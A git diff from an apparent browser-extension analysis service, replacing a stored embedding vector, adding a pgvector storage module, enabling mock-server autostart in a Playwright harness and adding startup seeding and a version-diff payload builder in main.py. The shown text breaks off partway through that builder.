-0.029029097, - -0.027841924, - 0.050076295, - -0.006326405, - -0.029399604, - -0.025859099, - -0.064590424, - 0.01668352, - -0.046843305, - -0.01903471, - -0.027965419, - -0.005450226, - 0.008285934, - 0.00023312749, - -0.0083819, - 0.019117497, - 0.013495261, - -0.025377003, - -0.008547829, - 0.04603758, - -0.019851325, - -0.065362975, - -0.02278483, - 0.007260507, - -0.010899498, - -0.015600367, - -0.009699219, - 0.032231674, - -0.04364968, - -0.033776205, - -0.028929211, - 0.046951916, - 0.019104682, - -0.03196249, - 0.03198455, - -0.022297388, - 0.0041772667, - -0.013173344, - 0.0419937, - -0.009857798, - -0.0024520585, - 0.022546602, - -0.024808213, - -0.01138717, - -0.01877574, - -0.016048478, - 0.034175955, - -0.03533745, - -0.03223403, - 0.023111109, - 0.007449783, - -0.031850282, - -0.029271215, - -0.031231457, - 0.010922673, - 0.048506938, - -0.0304863, - 0.027995251, - -0.045647003, - 0.028834326, - 0.024587186, - 0.01883616, - 0.012190638, - -0.009079224, - -0.009675673, - -0.07945195, - 0.055391118, - -0.030255672, - -0.047842465, - -0.03210826, - 0.007466283, - -0.027702117, - -0.006228756, - 0.019158011, - -0.031500623, - 0.024472447, - 0.01374743, - 0.032128092, - 0.0067593926, - 0.021822013, - 0.0045804637, - 0.017252656, - -0.043555394, - 0.053434487, - -0.020740522, - -0.009330109, - -0.0040270127, - 0.018155353, - -0.024438424, - 0.0104292575, - -0.017364863, - 0.02157604, - -0.009635376, - -0.013089902, - -0.033485122, - -0.012374366, - -0.03438146, - -0.0029749156, - 0.002618689, - 0.029070185, - 0.029932478, - 0.00042182245, - 0.025175156, - -0.013751572, - -0.04077998, - -0.0016507857, - -0.016948218, - -0.014397895, - 0.0030005833, - 0.013862218, - 0.0069869566, - -0.010194963, - -0.0012453755, - -0.006225259, - 0.024911387, - -0.021134265, - 0.03587357, - -0.02812512, - -0.014079519, - 0.03124533, - -0.02061303, - -0.024551684, - -0.0625266, - -0.014004386, - 0.018418895, - -0.004040689, - -0.02471982, - -0.035407033, - 0.013942756, - -0.022449145, - 0.011018708, - -0.031422, - 0.018075256, - -0.036200568, - 0.029322285, - -0.17223655, - 0.0027114304, - -0.0042115636, - 0.037377194, - -0.028677253, - 0.008657621, - -0.0128283035, - -0.01061462, - 0.0040597767, - -0.020609347, - 0.007908727, - 0.00093662384, - 0.013786804, - -0.0126031, - -0.017690096, - 0.032661576, - 0.0024659, - -0.0034788407, - -0.020060198, - 0.04795736, - -0.0052647227, - -0.0036303652, - 0.048873868, - -0.017406495, - 0.006723686, - 0.028545333, - -0.024615409, - 0.016554436, - -0.01613053, - 0.00034307333, - 0.027339954, - -0.01041651, - 0.026647642, - 0.016713722, - 0.025539583, - 0.033918444, - 0.03149842, - 0.014176511, - 0.03363097, - -0.0070697353, - -0.025048906, - -0.0072034006, - -0.023712963, - -0.027094591, - -0.027084868, - 0.026774274, - -0.00049879996, - 0.00085441134, - -0.041130986, - 0.011921186, - -0.003588113, - 0.011328654, - -0.055076838, - 0.022587093, - -0.026544238, - -0.00672725, - -0.016303003, - 0.009611913, - -0.016465098, - 0.017100336, - -0.03463594, - 0.030088356, - -0.007495505, - -0.015795432, - -0.0456578, - 0.038236085, - -0.08715351, - 0.017537663, - 0.006103869, - 0.005188137, - -0.054457806, - -0.018454527, - -0.030248638, - -0.00047297176, - 0.023303019, - 0.024117665, - 0.035801783, - -0.01423542, - -0.02211922, - -0.014486612, - 0.0075768153, - -0.017276775, - -0.016266273, - 0.043230895, - 0.060838554, - -0.01868665, - -0.004731135, - 0.018657142, - -0.031944297, - -0.02570198, - -0.024301635, - -0.037043665, - 0.0071718935, - 0.0413707, - -0.0065972838, - -0.001632993, - -0.02805357, - 0.008866132, - -0.02335197, - -0.010856001, - 0.0032637222, - -0.02088239, - 0.031632684, - -0.000102450445, - -0.049904183, - 0.01713128, - 0.0025293455, - 0.010064838, - 0.014761157, - 0.013403127, - -0.068538636, - -0.0008007996, - -0.025997482, - 0.008182107, - -0.05631613, - -0.00789824, - 0.034457307, - 0.01221417, - -0.017960919, - 0.019516923, - -0.04280918, - -0.0148838265, - -0.031186262, - -0.031675525, - 0.026869653, - 0.033381112, - 0.026458286, - 0.024869263, - 0.031814273, - -0.033224683, - 0.02186835, - -0.06004397, - 0.014146113, - -0.0139232315, - 0.04451403, - 0.011250538, - -0.026164224, - 0.06169455, - -0.06414011, - -0.03364641, - -0.05950591, - -0.0052088657, - -0.018801602, - -0.06045437, - 0.018702129, - 0.003971503, - 0.01781363, - -0.0020229125, - 0.019709652, - -0.04237434, - -0.020068575, - 0.018742722, - -0.018916713, - 0.026253173, - 0.018290365, - 0.028737778, - -0.04113608, - 0.041128457, - -0.03346831, - 0.0647696, - -0.011739202, - -0.0107273925, - -0.011637569, - -0.042300574, - 0.00565945, - 0.04188323, - -0.017278336, - -0.0012262893, - -0.038962588, - 0.015519471, - 0.028472615, - 0.028074173, - -0.010284327, - -0.020667624, - 0.03553738, - -0.0052524293, - 0.012212338, - 0.011834365, - 0.024608199, - -0.010598149, - 0.026643228, - -0.03492573, - 0.026610805, - 0.009382772, - 0.017663, - 0.056417443, - 0.012436301, - 0.048796482, - 0.020988623, - -0.01109824, - -0.002029006, - -0.026184224, - 0.03086397, - -0.024996769, - 0.022762274, - 0.010635132, - 0.008432353, - -0.021125706, - 0.0062885503, - 0.036390223, - 0.0027482088, - 0.026146661, - -0.0064295805, - -0.00820972, - 0.034325175, - -0.02249753, - -0.020094944, - -0.03019844, - -0.026113857, - 0.006912975, - 0.035866134, - 0.0086080115, - -0.03633087, - 0.021996224, - -0.02170763, - -0.038437326, - 0.04163976, - -0.012038118, - 0.011315331, - -0.0094218375, - 0.047912885, - 0.02476042, - 0.020704575, - -0.035882734, - -0.06297052, - -0.028110472, - 0.0037657013, - -0.009382396, - -0.020290753, - -0.0061876103, - -0.042212263, - -0.035366952, - 0.010068303, - 0.0005273771, - 0.047195464, - 0.0034841618, - -0.038893096, - 0.037312273, - -0.0035406381, - -0.017351678, - 0.068272434, - 0.033925775, - 0.024386486, - -0.037051097 + -0.035540424, + -0.0043125497, + -0.01500155, + -0.0039612064, + -0.034220085, + -0.014673776, + 0.022932058, + 0.043721996, + 0.003023589, + -6.411021e-05, + -0.023201818, + -0.0006830563, + -0.018230671, + -0.006285979, + 0.0009594604, + -0.011561239, + 0.014386106, + 0.007685114, + 0.002560639, + -0.008862037, + -0.015705701, + 0.00026157932, + 0.0091719115, + 0.020362707, + -0.039432317, + 0.027982226, + -0.019040931, + -0.0579503, + -0.029375508, + 0.03395607, + -0.017147735, + -0.012944642, + 0.014744964, + 0.009999208, + -0.03147265, + -0.0045112236, + -0.019853005, + -0.016967569, + -0.082720324, + -0.0037163256, + -0.025519546, + 0.009049471, + 0.0071469173, + -0.033614393, + 0.009219351, + -0.03533692, + -0.011300448, + -0.026129387, + -0.0217745, + -0.061660204, + -0.018289024, + -0.013864334, + -0.0027544769, + -0.015693415, + 0.04889935, + 0.03469741, + -0.030484525, + 0.0013913357, + -0.059629466, + 0.020596897, + -0.047446992, + -0.00998671, + -0.020718874, + 0.010504385, + 0.0034249753, + 0.030279705, + 0.016118893, + -0.00080817606, + -0.0034266284, + -0.03447596, + -0.014561402, + 0.013687459, + -0.029745989, + 0.001666492, + -0.058539372, + 0.052298434, + 0.014443302, + -0.03539248, + -0.011575928, + 0.02588514, + -0.023969132, + -0.01051046, + 0.0336828, + -0.005281555, + -0.0036213396, + 0.042740744, + -0.011760336, + 0.039187573, + 0.052444637, + 0.006970902, + -0.011505029, + -0.033932637, + 0.07297291, + -0.03752474, + -0.035911724, + 0.0055007595, + 0.0018801576, + -0.012344642, + 0.031608358, + 0.0019746614, + -0.015085678, + 0.00872032, + 0.008152795, + -0.0045497543, + 0.033418335, + 0.04651675, + 0.017604962, + 0.0033722841, + 0.005495094, + -0.0070620053, + -0.014465226, + 0.02688613, + 0.04316405, + 0.017829837, + -0.0095854215, + -0.048734505, + 0.010000191, + -0.023314316, + -0.019528374, + -0.006886649, + 0.03187103, + 0.0608218, + 0.037757162, + -0.03302051, + 0.03996502, + 0.015882034, + 0.033170387, + 0.03169574, + -0.012785765, + 0.0316073, + 0.009463434, + 0.032444615, + -0.0052398057, + -0.010948876, + -0.08481821, + -0.012677158, + 0.006891006, + 0.06301468, + 0.040772405, + -0.02859976, + 0.03152613, + 0.017300107, + -0.033778034, + -0.022050386, + 0.03158338, + -0.08632693, + 0.030773796, + 0.038783383, + -0.016291793, + -0.05024555, + 0.037132595, + 0.009242082, + 0.041624844, + 0.041804973, + -0.038715784, + -0.061805855, + 0.004833871, + -0.0032721742, + 0.06482766, + -0.007136096, + -0.014284595, + 0.0050829803, + -0.027384441, + 0.037771273, + 0.03524182, + -0.012263654, + 0.0031836503, + -0.026626673, + -0.050049827, + 0.00623903, + 0.023616785, + -0.047233075, + -0.001443006, + 0.025695024, + 0.0055104177, + -0.00042990252, + 0.07034322, + 0.027812658, + -0.002557722, + -0.033141855, + -0.046404485, + -0.004359686, + -0.011891668, + -0.015275272, + -0.015015588, + 0.022325234, + -0.02437152, + 0.01250391, + -0.025172856, + 0.0352632, + 0.0076452703, + -0.004160174, + 0.028269736, + 0.016204543, + -0.039722662, + -0.031363092, + 0.040678833, + -0.0028519824, + 0.02270374, + -0.023759235, + 0.0054619815, + 0.043257996, + 0.036729176, + -0.0005154979, + -0.03816618, + -0.0277644, + -0.002231237, + -0.022062553, + -0.008970236, + -0.011127811, + 0.017840413, + 0.014614948, + 0.005539553, + -0.018068725, + -0.033656325, + -0.011433405, + 0.0024294283, + -0.008508651, + 0.005496637, + -0.025733627, + 0.0037519112, + 0.0053659026, + 0.011044733, + 0.005352398, + 0.010653699, + -0.0047489684, + 0.028495595, + 0.01162837, + -0.049981326, + 0.022937832, + -0.016780095, + 0.034425065, + 0.020969976, + -0.0061849304, + 0.030523786, + -0.05032338, + 0.007898791, + 0.020700103, + 0.03975607, + -0.020061469, + 0.05628226, + -0.067241795, + 0.04109376, + -0.011501287, + -0.03970386, + -0.011927178, + 0.010235679, + 0.04292088, + -0.050034344, + -0.018472817, + -0.018886443, + 0.007804967, + -0.04097342, + -0.012324401, + 0.013782283, + 0.009639795, + 0.0040474017, + 0.024750462, + 0.00050500676, + 0.023131112, + -0.0043665594, + 0.020119144, + 0.013851291, + 0.027416615, + 0.035738133, + -0.009420496, + -0.023711251, + -0.033187956, + 0.0067144274, + 0.0015973891, + 0.0060812645, + -0.029172974, + 0.031199431, + -0.032828603, + -0.005249675, + 0.024949718, + -0.008640782, + 0.017278261, + 0.07636377, + 0.041372664, + -0.006425257, + 0.024150407, + 0.036597442, + 0.011449838, + 0.04448599, + 0.017793471, + -0.03430268, + -0.004826711, + -0.0058154953, + -0.030509433, + -0.028473528, + 0.026003193, + 0.055330906, + -0.04789963, + 0.024928136, + 0.03194985, + -0.02493602, + -0.17091215, + 0.020887524, + 0.010800067, + 0.021790186, + 0.010625859, + -0.0074593336, + -0.02130046, + -0.031277344, + -0.038347844, + 0.049448665, + -0.052322306, + -0.054100957, + -0.028071137, + -0.02382311, + 0.041731197, + 0.02741918, + -0.014175494, + 0.0056713466, + -0.029490303, + -0.012858688, + -0.038349167, + 0.02836895, + 0.022073276, + 0.006702537, + -0.018492635, + 0.011318007, + 0.026493872, + -0.019104743, + -0.0063021244, + 0.03877698, + -0.007421214, + -0.009439214, + 0.0014386963, + 0.019966314, + -0.0110261105, + 0.0033504947, + -0.008596098, + -0.012756703, + 0.00669487, + -0.028156321, + 0.007856934, + 0.07940014, + -0.011965161, + 0.031730916, + 0.025921395, + -0.027395304, + -0.0062956195, + -0.03806656, + -0.055978604, + -0.046453428, + -0.031692877, + -0.0115980655, + -0.009553197, + 0.02696136, + -0.07207385, + 0.010008941, + 0.009161723, + 0.0367366, + 0.04008746, + 0.011571431, + 0.002059561, + -0.00578889, + 0.02206174, + -0.05897136, + -0.00039718143, + -0.01478718, + 0.05825217, + -0.0069621434, + 0.010907628, + -0.032825023, + 0.029956196, + -0.03709911, + 0.03661216, + 0.022396093, + 0.005803921, + 0.025568428, + -0.029039348, + -0.025916398, + 0.003658393, + -0.10671754, + 0.012312412, + 0.015170817, + 0.026491951, + -0.0034667796, + -0.037462182, + -0.058557436, + 0.009534287, + -0.029417442, + 0.030745089, + 0.26336142, + -0.006270348, + -0.013675315, + 0.05166998, + 0.023462333, + -0.029233214, + -0.011385997, + 0.07055414, + -0.0096172765, + -0.02137509, + 0.023463685, + 0.044137347, + 0.031541117, + 0.008113454, + 0.028550882, + 0.021089844, + -0.046045523, + 0.009343249, + 0.055118855, + 0.00059009093, + 0.010504315, + -0.01588994, + 0.024900999, + -0.017277494, + -0.039863598, + -0.031794623, + -0.010783353, + -0.014681642, + 0.0018184608, + 0.06819786, + -0.021864409, + 0.034250077, + 0.02721689, + -0.021482835, + -0.06197356, + 0.019354058, + 0.052295797, + 0.009106822, + -0.034628466, + 0.01446979, + -0.03188524, + -0.011352402, + -0.026079426, + 0.0012850903, + -0.026897343, + 0.0055958885, + -0.03781363, + -0.023671817, + -0.05045699, + 0.012651729, + 0.017164286, + -0.0129017765, + 0.01511296, + -0.04046131, + 0.017772228, + -0.019173093, + -0.000704597, + -0.0057172966, + 0.009027126, + 0.027601425, + 0.007673995, + 0.0135371275, + -0.037670046, + 0.0153490305, + -0.028624374, + -0.008729324, + 0.020493362, + -0.0038286129, + 0.04061988, + 0.037060518, + 0.017289218, + 0.032855906, + 0.003413343, + 0.018052958, + 0.011419034, + 0.0042261574, + 0.059293475, + 0.03086562, + -0.038831692, + 0.0022679062, + -0.02062474, + -0.04939548, + -0.018029746, + -0.005109428, + -0.0076940744, + 0.009497699, + -0.023193847, + 0.062326573, + 0.009280389, + 0.034507535, + -0.0065380167, + 0.010557469, + -0.015685864, + 0.08523495, + -0.013950076, + 0.029688701, + 0.028984303, + -0.03033703, + -0.038351182, + -0.023411741, + -0.03358136, + -0.03808846, + -0.024971444, + 0.010980564, + 0.018003657, + 0.02680926, + -0.012699566, + 0.03312877, + -0.030300917, + 0.014444101, + -0.0440556, + 0.01345662, + 0.02811193, + -0.015999917, + -0.015307806, + 0.08160995, + 0.031998634, + -0.0005930801, + 0.06616691, + 0.018216204, + -0.04075321, + 0.033301502, + 0.002330849, + 0.057430778, + -0.024376707, + -0.055560768, + -0.023526592, + 0.03975858, + -0.015612394, + 0.043909956, + 0.02632352, + -0.026144067, + 0.0140032545, + 0.040780038, + 0.052309003, + 0.001090255, + 0.044166446, + -0.00060999923, + 0.005574291, + 0.036202528, + -0.015676463, + 0.0021018896, + -0.013796276, + 0.048270643, + 0.002394779, + 0.035297364, + -0.04311444, + -0.0015244705, + 0.016313026, + 0.03755499, + 0.017434109, + 0.07903873, + 0.047565084, + -0.0053588343, + -0.016122881, + -0.044135395, + -0.041864943, + 0.0017292724, + 0.025358679, + 0.011261144, + -0.0037508695, + -0.0063735545, + 0.015460245, + 0.028086416, + -0.023101276, + 0.0040004905, + 0.028008131, + 0.03499609, + -0.014988292, + 0.0055555506, + -0.016675757, + -0.053690527, + -0.034661565, + 0.037158605, + -0.024301022, + 0.04268904, + -0.040901557, + -0.04794083, + -0.025262427, + -0.020267302, + 0.018436572, + -0.011063047, + -0.007838248, + -0.021223838, + 0.017515123, + -0.021018023, + 0.0381946, + 0.008762564, + 0.008467957, + -0.027179888, + -0.02167856, + 0.12485428, + 0.028081162, + -0.01125163, + 0.03168154, + -0.010894951, + 0.079535276, + -0.021919629, + 0.010740841, + 0.0042296164, + 0.0056250114, + -0.008975374, + 0.003813022, + -0.011469158, + -0.018717444, + 0.002668455, + 0.009517659, + -0.006203588, + -0.032016136, + -0.020201974, + 0.028106695, + 0.028637234, + -0.02985525, + 0.03072794, + 0.01802249, + -0.044347633, + 0.036461044, + 0.058161937, + 0.02396372, + -0.035366416, + 0.02383857, + -0.012300006, + -0.023082707, + -0.021671489, + -0.020038316, + 0.0054275077, + 0.02136522, + -0.041313924, + -0.008360628, + -0.020315383, + -0.013007147, + -0.044424202, + 0.03470291, + -0.047108315, + -0.007244148, + -0.038348764, + 0.0026577192, + 0.020647103, + 0.015472981, + -0.021628307, + 0.04248728, + -0.019476421, + 0.020273324, + 0.047409028, + 0.024564689, + 0.025159044, + -0.07095747, + 0.0010422067, + 0.004710526, + 0.01561932, + -0.040175084, + -0.0041703386, + -0.010208369, + -0.06588367, + 0.0044695903, + 0.0145629505, + -0.0031650946, + -0.0076785143, + -0.061453726, + -0.033938143, + -0.03429412, + 0.056270715, + -0.0021333904, + -0.008727723, + -0.026811391, + -0.04140576, + 0.010979562, + -0.04479837, + -0.013969982, + -0.03787035, + -0.011467582, + 0.006865206, + 0.005961738, + 0.003261076, + 0.015390911, + 0.011385705, + -0.016311577, + -0.013051688, + 0.040660527, + -0.015573549, + -0.0737897, + -0.012749576, + 0.022413855, + 0.0021245198, + -0.009327382, + 9.7007105e-05, + 0.037278116, + -0.028731985, + -0.012166975, + -0.039664686, + 0.046987552, + 0.021548439, + -0.02877028, + 0.012877035, + -0.018463923, + 0.0039465986, + -0.012279091, + 0.067423075, + -0.0038708956, + -0.010557657, + 0.013671262, + -0.0025658733, + -0.01675385, + -0.00472873, + -0.04872376, + 0.025389161, + -0.03578233, + -0.039283987, + 0.037435297, + 0.019199183, + -0.024830999, + -0.02649742, + -0.023753455, + 0.023797851, + 0.04415423, + -0.0384997, + 0.023880698, + -0.052072763, + 0.031664502, + 0.030935949, + 0.017395388, + 0.018645382, + -0.014422513, + -0.0073672016, + -0.07344133, + 0.049215563, + -0.020804355, + -0.01877317, + -0.03781439, + -0.0016161609, + -0.035837907, + -0.010174443, + 0.0010238435, + -0.028608019, + 0.016583605, + 0.0126875155, + 0.03830263, + 0.00030887304, + 0.025015088, + 0.002044907, + 0.015047575, + -0.030303938, + 0.035282847, + -0.01299968, + -0.011408893, + 0.00915301, + 0.012805768, + -0.031176593, + 0.012043452, + -0.016835786, + 0.04098914, + 0.0052500665, + -0.022866137, + -0.031467788, + -0.010642347, + -0.030589694, + -0.018889263, + 0.0014628854, + 0.013622995, + 0.034228757, + -0.0006223219, + 0.038695943, + -0.016322842, + -0.034300745, + -1.6720902e-05, + -0.0239627, + -0.0009887859, + -0.0011182632, + 0.015420228, + 0.005127973, + -0.014761954, + 0.011237161, + -0.0051204776, + 0.00057824113, + -0.03830941, + 0.027179234, + -0.038137287, + -0.01832438, + 0.03806791, + -0.013126439, + -0.03950949, + -0.067992955, + -0.0130304, + 0.015828092, + -0.008844865, + -0.026819685, + -0.04564095, + 0.0030537127, + -0.006788286, + 0.0019503232, + -0.027307421, + 0.010493203, + -0.021539237, + 0.0490111, + -0.15990233, + 0.0058901664, + -0.005970224, + 0.053682275, + -0.025622882, + 0.008835088, + -0.0066961576, + 0.003967323, + 0.015457101, + -0.008711219, + 0.012753193, + -0.012935689, + -0.002539372, + -0.02026739, + -0.023719812, + 0.032911967, + -0.020585224, + 0.012818082, + -0.027591335, + 0.022709759, + -0.010934821, + -0.015531736, + 0.042712983, + -0.028273309, + 0.014499474, + 0.03412267, + -0.011089235, + 0.0028958756, + -0.008988179, + -0.009810768, + 0.031685375, + -0.015877446, + 0.02308227, + 0.022767428, + 0.021194082, + 0.04064294, + 0.019226698, + 0.017006392, + 0.035582703, + -0.0005129924, + -0.017660828, + -0.007734722, + -0.016305344, + -0.04025412, + -0.027390027, + 0.020124434, + -0.0005577389, + -0.0069233165, + -0.022851378, + 0.004152408, + -0.0147089735, + 0.021705763, + -0.074575365, + 0.019896494, + -0.0294909, + -0.0041059703, + -0.011890366, + 0.0053876336, + -0.032761063, + 0.022857182, + -0.03479724, + 0.022967612, + -0.019039867, + -0.004850073, + -0.02771543, + 0.028746694, + -0.0991846, + 0.0062310984, + 0.0004254631, + 0.011785716, + -0.05328627, + -0.02342981, + -0.03081385, + -0.0007593912, + 0.019680915, + 0.02081081, + 0.032079346, + -0.0014297471, + -0.03685705, + 0.0049695387, + 0.004202038, + -0.014070803, + -0.028371837, + 0.0452603, + 0.04361516, + -0.028785517, + -0.0016145506, + 0.006965871, + -0.040331863, + -0.03629871, + -0.03236876, + -0.049682707, + 0.015567453, + 0.036067814, + -0.017383588, + -0.0035371073, + -0.031706583, + 0.0064178607, + -0.011076643, + -0.007326536, + 0.02187429, + -0.015588352, + 0.02986512, + 0.0061094007, + -0.047057472, + 0.016244119, + 0.004937072, + -0.0060932045, + 0.015511481, + 0.007624867, + -0.0763661, + 0.0069588413, + -0.031857908, + 0.0015331802, + -0.058158915, + -0.006869035, + 0.037262958, + 0.0142894, + -0.01665105, + 0.03370669, + -0.024552466, + -0.010439891, + -0.03060368, + -0.026939226, + 0.03487912, + 0.039857253, + 0.023799974, + 0.032781877, + 0.028897995, + -0.03859275, + 0.0022505575, + -0.05603823, + 0.0010934499, + -0.0034986006, + 0.034185946, + 0.004990718, + -0.006264329, + 0.056614976, + -0.051314127, + -0.045782022, + -0.06054395, + -0.0026050524, + -0.002957487, + -0.057461318, + 0.018096708, + 0.000456347, + 0.014047018, + 0.0014871478, + 0.021589909, + -0.05283185, + -0.014597874, + 0.01369817, + -0.022258064, + 0.033732086, + 0.028172681, + 0.036525548, + -0.039641295, + 0.034462705, + -0.031230953, + 0.027919088, + 0.00058517413, + -0.011178362, + -0.027165003, + -0.042164024, + -0.00032456897, + 0.039929766, + -0.020390583, + 0.0063355905, + -0.04207823, + 0.016216937, + 0.036330543, + 0.046695136, + -0.013480326, + -0.01474487, + 0.05343723, + -0.009425867, + 0.024334114, + 0.008031328, + 0.03309201, + -0.010859557, + 0.03691487, + -0.021423036, + 0.011549686, + 0.021159112, + 0.02191671, + 0.029385071, + 0.0024781232, + 0.039675735, + 0.0396928, + 0.0006441838, + 0.0037860468, + -0.02468667, + 0.01988445, + -0.022660216, + 0.020144204, + 0.0018080708, + 0.008796312, + -0.031180993, + -0.0059071425, + 0.023305861, + -0.02361769, + 0.039409596, + -0.00033998038, + -0.017604206, + 0.0322121, + -0.02223584, + -0.031138483, + -0.033393633, + -0.028060216, + 0.008083868, + 0.035342738, + 0.0017326573, + -0.016791344, + 0.008498569, + -0.04010235, + -0.03804599, + 0.03137104, + -0.019063536, + 0.0074216053, + 0.001413857, + 0.038066283, + 0.015902381, + 0.03561189, + -0.048270743, + -0.060788784, + -0.031062746, + -0.007006566, + -0.00577212, + -0.0068467436, + -0.0016824654, + -0.062091805, + -0.03630424, + 0.003516641, + 0.0058498653, + 0.039400592, + 0.008428062, + -0.027738387, + 0.02425185, + -0.011731411, + -0.005528466, + 0.054143116, + 0.040314745, + 0.020573001, + -0.030335847 ] \ No newline at end of file diff --git a/embedding/pgvector_store.py b/embedding/pgvector_store.py new file mode 100644 index 00000000..ce10a66e --- /dev/null +++ b/embedding/pgvector_store.py @@ -0,0 +1,123 @@ +import json +import os +from contextlib import contextmanager +from typing import Any + +import psycopg2 +from dotenv import load_dotenv +from psycopg2.extras import RealDictCursor + +load_dotenv() + +DEFAULT_TABLE = "public.es3_vector" + + +def _embedding_dim() -> int: + return int(os.getenv("EMBEDDING_DIM", "1024")) + + +def _table_name() -> str: + return os.getenv("PGVECTOR_TABLE", DEFAULT_TABLE) + + +def _connection_kwargs() -> dict[str, Any]: + return { + "host": os.getenv("PGVECTOR_DB_HOST", os.getenv("DB_HOST", "localhost")), + "port": os.getenv("PGVECTOR_DB_PORT", os.getenv("DB_PORT", "5432")), + "user": os.getenv("PGVECTOR_DB_USER", os.getenv("DB_USER", "example_db_user")), + "password": os.getenv("PGVECTOR_DB_PASSWORD", os.getenv("DB_PASSWORD", "example_db_password")), + "dbname": os.getenv("PGVECTOR_DB_NAME", os.getenv("DB_NAME", "example_db_name")), + } + + +def _vector_literal(vector: list[float]) -> str: + if not isinstance(vector, list) or not vector: + raise ValueError("embedding vector is empty") + return "[" + ",".join(str(float(value)) for value in vector) + "]" + + +@contextmanager +def get_connection(): + conn = psycopg2.connect(**_connection_kwargs()) + try: + yield conn + finally: + conn.close() + + +def ensure_schema(dim: int | None = None) -> None: + dim = dim or _embedding_dim() + table = _table_name() + try: + with get_connection() as conn: + with conn.cursor() as cur: + cur.execute("CREATE EXTENSION IF NOT EXISTS vector") + cur.execute( + f""" + CREATE TABLE IF NOT EXISTS {table} ( + id BIGSERIAL PRIMARY KEY, + document TEXT NOT NULL, + embedding vector({dim}) NOT NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT now() + ) + """ + ) + conn.commit() + except psycopg2.Error as exc: + message = str(exc).strip() + if "extension" in message and "vector" in message: + cfg = _connection_kwargs() + raise RuntimeError( + "pgvector extension is not installed on the connected PostgreSQL server " + f"({cfg['host']}:{cfg['port']}/{cfg['dbname']}). " + "Use the pgvector/pgvector:pg16 container from ExtS3-Demo/docker-compose.yml " + "or install pgvector on that PostgreSQL instance." + ) from exc + raise + + +def count_vectors() -> int: + ensure_schema() + with get_connection() as conn: + with conn.cursor() as cur: + cur.execute(f"SELECT COUNT(*) FROM {_table_name()}") + return int(cur.fetchone()[0]) + + +def insert_vector_record(document: str | dict[str, Any], embedding: list[float]) -> None: + ensure_schema(len(embedding)) + document_text = json.dumps(document, ensure_ascii=False, sort_keys=True) if isinstance(document, dict) else document + vector_text = _vector_literal(embedding) + with get_connection() as conn: + with conn.cursor() as cur: + cur.execute( + f"INSERT INTO {_table_name()} (document, embedding) VALUES (%s, %s::vector)", + (document_text, vector_text), + ) + conn.commit() + + +def search_vectors( + embedding: list[float], + *, + match_threshold: float = 0.0, + match_count: int = 10, +) -> list[dict[str, Any]]: + ensure_schema(len(embedding)) + vector_text = _vector_literal(embedding) + with get_connection() as conn: + with conn.cursor(cursor_factory=RealDictCursor) as cur: + cur.execute( + f""" + SELECT + id::text AS id, + document, + 1 - (embedding <=> %s::vector) AS similarity + FROM {_table_name()} + WHERE 1 - (embedding <=> %s::vector) > %s + ORDER BY embedding <=> %s::vector + LIMIT %s + """, + (vector_text, vector_text, match_threshold, vector_text, match_count), + ) + return [dict(row) for row in cur.fetchall()] diff --git a/embedding/scenario/playwright_dynamic_harness.py b/embedding/scenario/playwright_dynamic_harness.py index 15928394..b006c05f 100644 --- a/embedding/scenario/playwright_dynamic_harness.py +++ b/embedding/scenario/playwright_dynamic_harness.py @@ -3,6 +3,7 @@ import hashlib import json import os +import platform import shutil import tempfile import threading @@ -406,7 +407,7 @@ def __init__( "wait_for_load_state_completed": False, "wait_for_load_state_error": "", "mock_server_check_attempted": False, - "mock_server_autostart_enabled": parse_bool_env(os.getenv("DYNAMIC_MOCK_AUTOSTART"), default=False), + "mock_server_autostart_enabled": parse_bool_env(os.getenv("DYNAMIC_MOCK_AUTOSTART"), default=True), "mock_server_autostarted": False, "mock_server_host": "", "mock_server_port": 0, @@ -1357,7 +1358,12 @@ def _ensure_context(self): self._execution["headless"] = bool(effective_headless) self._execution["display_env"] = str(os.environ.get("DISPLAY") or "") self._execution["xvfb_available"] = bool(shutil.which("xvfb-run") is not None) - self._execution["headed_supported"] = bool(self._execution["display_env"]) or bool(self._execution["xvfb_available"]) + desktop_os = platform.system().lower() in {"windows", "darwin"} + self._execution["headed_supported"] = ( + desktop_os + or bool(self._execution["display_env"]) + or bool(self._execution["xvfb_available"]) + ) if not effective_headless and not self._execution["headed_supported"]: self._execution["extension_load_error"] = "headed_mode_requires_display_or_xvfb" self._notes.append("Set DYNAMIC_HARNESS_HEADLESS=false and run the service under xvfb-run to test MV3 extensions in headed mode on a headless server.") @@ -1448,7 +1454,7 @@ def on_request(req): self._context.on("request", on_request) self._context.on("requestfinished", self._mark_request_finished) self._context.on("requestfailed", self._mark_request_failed) - if parse_bool_env(os.getenv("DYNAMIC_MOCK_AUTOSTART"), default=False): + if parse_bool_env(os.getenv("DYNAMIC_MOCK_AUTOSTART"), default=True): self._autostart_mock_server() def _current_observation(self) -> dict: @@ -1551,6 +1557,11 @@ def open_mock_page(self, action: dict) -> dict: self._execution["expected_target_url"] = str(url or "") self._execution["page_load_started"] = True + if parse_bool_env(os.getenv("DYNAMIC_MOCK_AUTOSTART"), default=True) and not self._execution.get("mock_server_autostarted"): + self._autostart_mock_server() + if self._execution.get("mock_server_url"): + url = str(self._execution["mock_server_url"]) + self._execution["expected_target_url"] = url emulated_host_ok = bool(self._emulated_target_host) and isinstance(url, str) and ( urlparse(str(url)).hostname or "" ).lower() == self._emulated_target_host diff --git a/main.py b/main.py index 62fa199e..dfc56fc0 100644 --- a/main.py +++ b/main.py @@ -75,6 +75,13 @@ def run_retro_monitor(): @asynccontextmanager async def lifespan(app: FastAPI): # 1. hm_new 홀딩 스케줄러 시작 + try: + from embedding.base_db import ensure_knowledge_base_seeded + + await run_in_threadpool(ensure_knowledge_base_seeded) + except Exception as seed_e: + print(f"[pgvector] startup seed check failed: {seed_e}") + hm_start() print("📢 [System] hm_new scheduler started.") @@ -154,13 +161,84 @@ def _browser_to_program_type(browser: str) -> str: def _decision_to_nexus_bucket(decision: str) -> str: lowered = str(decision or "").strip().lower() - if lowered in {"approve", "safe"}: + if lowered == "safe": return "safe" if lowered in {"reject", "high", "critical"}: return "review" return "review" +def _build_version_diff_payload(snapshot_diff: dict | None, current_version: str) -> dict: + """Extension Profile 의 diff_from_previous 를 웹 UI 용 페이로드로 변환한다. + + - summary: 변경 사항 박스에 표시할 개수 요약 + - diff: GitHub 스타일 상세 페이지에서 사용할 전체 변경 내역 + snapshot_diff 가 None 이면(최초 버전) has_previous=False 로 반환한다. + """ + if not isinstance(snapshot_diff, dict): + return { + "has_previous": False, + "previous_version": None, + "current_version": current_version, + "summary": { + "permissions_added": 0, + "permissions_removed": 0, + "host_permissions_added": 0, + "host_permissions_removed": 0, + "optional_permissions_added": 0, 